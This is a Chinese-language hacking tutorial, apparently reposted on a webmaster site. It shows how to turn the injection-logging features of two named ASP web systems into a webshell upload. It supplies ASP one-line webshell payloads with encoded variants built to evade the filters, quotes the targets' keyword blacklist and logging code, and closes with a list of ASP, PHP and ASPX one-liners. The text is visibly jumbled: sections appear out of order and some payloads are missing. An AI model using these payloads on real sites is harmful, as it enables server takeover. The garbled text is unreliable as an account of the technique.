對于目前流行的sql注入,程序員在編寫程序時,都普遍的加入防注入程序,有些防注入程序只要在我們提交一些非法的參數后,就會自動的記錄下你的IP地址,提交的非法參數和動作等,同時也把非法提交的數據寫入了系統的后綴為ASP的文件中,這也給了我們一些可利用的地方,大家知道,一句話馬就是利用程序過濾的不完全而寫入的,按照這思路,我們是否可以在提交非法參數中加入一句話馬而防注入程序就會記錄我們提交的數據和一句話馬并寫入數據庫,從而得到一個WEBSHELL呢?呵呵,答案是肯定的,但對于要寫入的一句話馬如何繞過過濾的程序,卻是個難題,常見的一句話馬格式為”<%execute request(“a”)%>,而<%%>就很難繞過HTML的過濾, 但我們可以通過不同的方法來繞過,下面我分別以二個系統來講解: 打開”http://127.0.0.1/2005/sia-log.asp,出現了”類型不匹配:’execute’,顯示內部錯誤的IE選項顯示好友錯誤鉤掉就可以了。我們再用一句話客戶端來接連上傳后成功得到一個WEBSHELL。 例二:再談談” 快樂視聽音樂網 V4.0版本”系統的利用和分析: 系統加強防sql注入, 取消Asp頁面, 對不友好的IP或IP段進行封鎖。自動封注入者Ip功能,使注入者不能再訪問本站!可后臺管理、顯示系統界面。當在參數后提交非法數據時,系統自動記錄你的IP地址,提交的非法參數和動作等,然后系統屏蔽了你的IP地址, 也就說明了只有提交這些出現在”|”分隔的被過濾的字符串,才會被防注入系統寫入數據庫中而且是被寫入到data目錄中的#sql.asp文件中,其后綴為.asp的,剛好可以被我們利用, 同樣的道理,當你提交"<%execute request(chr(97))%>時,%被過濾了 我們把一句話小馬加密成"<%25execute request(chr(97))%25>"還是被過濾了,因為%還是存在我們把一句話改成"這樣整句中就沒有出現“%“,提交后則成功完整的被寫入 用一句話客戶端連接并提交成功得到WEBSHELL。如果連接出錯,換個一句話連接工具laker2的不錯。 總結: 以上只是對這二個系統出現的漏洞一個方面的分析和利用,當然這類系統也存在著其它方面的漏洞如cookie的注入 例一西亞購物系統的利用和分析: “西亞購物系統做了全面性安全處理, ‘數據庫防下載處理/CONN防止暴庫處理/防止跨站腳本攻擊/SQL注入式攻擊防范/禁止脫機瀏覽工具/前臺登陸驗證碼/后臺登陸驗證碼/ ‘會員密碼MD5加密/管理員密碼MD5加密/數據來源安全性監測/sql注入代碼過濾/HTML代碼過濾及防護/管理員登陸日至記錄/攻擊記錄及惡意IP屏蔽/非法操作代碼日至記錄/吧安全網 “ 當我們在參數提交非法參數時,彈出防注入的頁面 if InStr(allquery,"%20")<>0 or InStr(allquery,"%27")<>0 or InStr(allquery,"’")<>0 or InStr(allquery,"%a1a1")<>0 or InStr(allquery,"%24")<>0 or InStr(allquery,"$")<>0 or InStr(allquery,"%3b")<>0 or InStr(allquery,";")<>0 or InStr(allquery,":")<>0 or InStr(allquery,"%%")<>0 or InStr(allquery,"%3c")<>0 or InStr(allquery,"<")<>0 or InStr(allquery,">")<>0 or InStr(allquery,"–")<>0 or InStr(allquery,"sp_")<>0 or InStr(allquery,"xp_")<>0 or InStr(allquery,"exec")<>0 or InStr(allquery,"/")<>0 or InStr(allquery,"delete")<>0 or InStr(allquery,"dir")<>0 or InStr(allquery,"exe")<>0 or InStr(allquery,"select")<>0 or InStr(allquery,"Update")<>0 or InStr(allquery,"cmd")<>0 or InStr(allquery,"*")<>0 or InStr(allquery,"^")<>0 or InStr(allquery,"(")<>0 or InStr(allquery,")")<>0 or InStr(allquery,"+")<>0 or InStr(allquery,"copy")<>0 or InStr(allquery,"format")<>0 then%> 對提交的非法數據中包含以上被搜索到的字符串的話,就自動跳轉到”Error.asp的頁面去,而在”Error.asp文件中有以下部分代碼: [code] toppath = Server.Mappath("sia-log.asp") Set fs = CreateObject("scripting.filesystemobject") If Not Fs.FILEEXISTS(toppath) Then Set Ts = fs.createtextfile(toppath, True) . . Set Ts= Fs.OpenTextFile(toppath,1) Do While Not Ts.AtEndOfStream Errorlog = Errorlog & Ts.ReadLine & chr(13) & chr(10) [/code] 當你提交非法數據時,程序就會獲得你的IP,并創建一個FSO對象,再利用FSO對象自動創建sia_log.asp文件,并將非法提交的字符寫入文件中 打開” http://127.0.0.1/2005/sia-log.aspp頁面,則看到文件記錄了我們剛才提交的數據,如圖: 這說明我們剛才的提交的非法參數已寫入了這個文件中, 3:那么,我們在這個頁面的參數后插入一句話如何 提交后彈出我們希望看到的頁面。 可我們再打開”sia-log.asp”文件卻看到小馬被過濾了成 備份專用 <%eval(request("a")):response.end%> asp一句話 php一句話 aspx一句話 可以躲過雷客圖的一句話。 <% 不用'<,>’的asp一句話 不用雙引號的一句話。 <%eval request(chr(35))%> 這里我就用工具搗鼓一下,打開”注入字符轉換器”這款工具,把”<%” ,“execute 和request之間的空格及”(“a”)%>”相應的進行轉換,這樣原一句話馬就被加密成” %3C%25execute+request%28%22%61%22%29%25%3E” 或轉換成<%25execute request(chr(97))%25>,分別提交后,我們打開sia-log.asp文件后,可以清楚看到,二次提交的一句馬都成功的被寫入到sia_log.asp文件中了, |
免責聲明:本站部分文章和圖片均來自用戶投稿和網絡收集,旨在傳播知識,文章和圖片版權歸原作者及原出處所有,僅供學習與參考,請勿用于商業用途,如果損害了您的權利,請聯系我們及時修正或刪除。謝謝!
始終以前瞻性的眼光聚焦站長、創業、互聯網等領域,為您提供最新最全的互聯網資訊,幫助站長轉型升級,為互聯網創業者提供更加優質的創業信息和品牌營銷服務,與站長一起進步!讓互聯網創業者不再孤獨!
掃一掃,關注站長網微信